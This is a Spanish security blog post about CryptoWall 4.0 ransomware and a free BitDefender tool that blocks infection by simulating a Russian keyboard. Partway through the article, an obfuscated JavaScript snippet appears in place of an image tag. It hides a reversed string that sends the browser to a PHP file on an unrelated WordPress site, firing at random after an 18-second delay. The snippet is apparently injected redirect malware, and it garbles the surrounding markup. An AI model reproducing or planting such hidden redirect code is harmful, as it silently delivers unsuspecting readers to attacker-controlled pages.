“Vacuna” contra la última versión de CryptoWall 4
Recientemente ha aparecido una nueva variante de CryptoWall, la 4.0, uno de los ransomwares más conocidos que infecta máquinas Windows, cifra los archivos y exige a sus víctimas un pago mediante cripto-monedas para desbloquear sus documentos. Se cree que esta variante ha sido desarrollada por hackers rusos y quizás el cambio más significativo de esta nueva versión es que ahora incluso cifra los nombres de archivo (por ej. 27p9k967z.x1nep o 9242on6c.6la9) lo que hace aún más difícil recuperar la información.
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>towall4.0.jpg” alt=”” width=”1142″ height=”236″ /></p>
<p>Aparte de eso, y de nuevos mensajes de bienvenida como el de la imagen de arriba (¡qué cachondos!), continua usando RC4 para comunicarse con los servidores C&C, sigue asignando un hash MD5 para cada “usuario”, se inyecta en Explorer.exe, desactiva la restauración del sistema, borra las shadow volumen copies y usa bcdedit para desactivar la reparación de inicio de Windows; una auténtica joya…</p>
<p>Pero lo curioso es que la firma de antivirus rumana BitDefender anunció el lunes que ha desarrollado una “vacuna” que puede evitar que un usuario se infecte con este malware, una vacuna que simplemente simula que se está utilizando un teclado configurado para el idioma ruso, pues parece que el malware realiza tal comprobación antes de proceder a la infección/cifrado de archivos. Al menos eso es lo que observaron en las infecciones en los EE.UU.; en muchos países europeos occidentales como Francia, Italia, Alemania y España; y en la India y China.</p>
<p>actualización: <a href=)
https://www.techsupportall.com/bitdefender-antiransomware-download
Evidentemente la herramienta, que se puede descargar de forma gratuita desde su página, es sólo preventiva. Es decir, no deshace el daño si el malware ya ha infectado a una máquina, y sólo se aplica a la última versión 4 de Cryptowall.
Ver información original al respecto en Fuente:
towall.html
Comentario: Nuestra felicitación a los técnicos de BitDefender por haber descubierto dicha característica y publicar la herramienta gratuita en cuestión para evitar la entrada de este ransomware !
saludos
ms, 10-11-2015
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.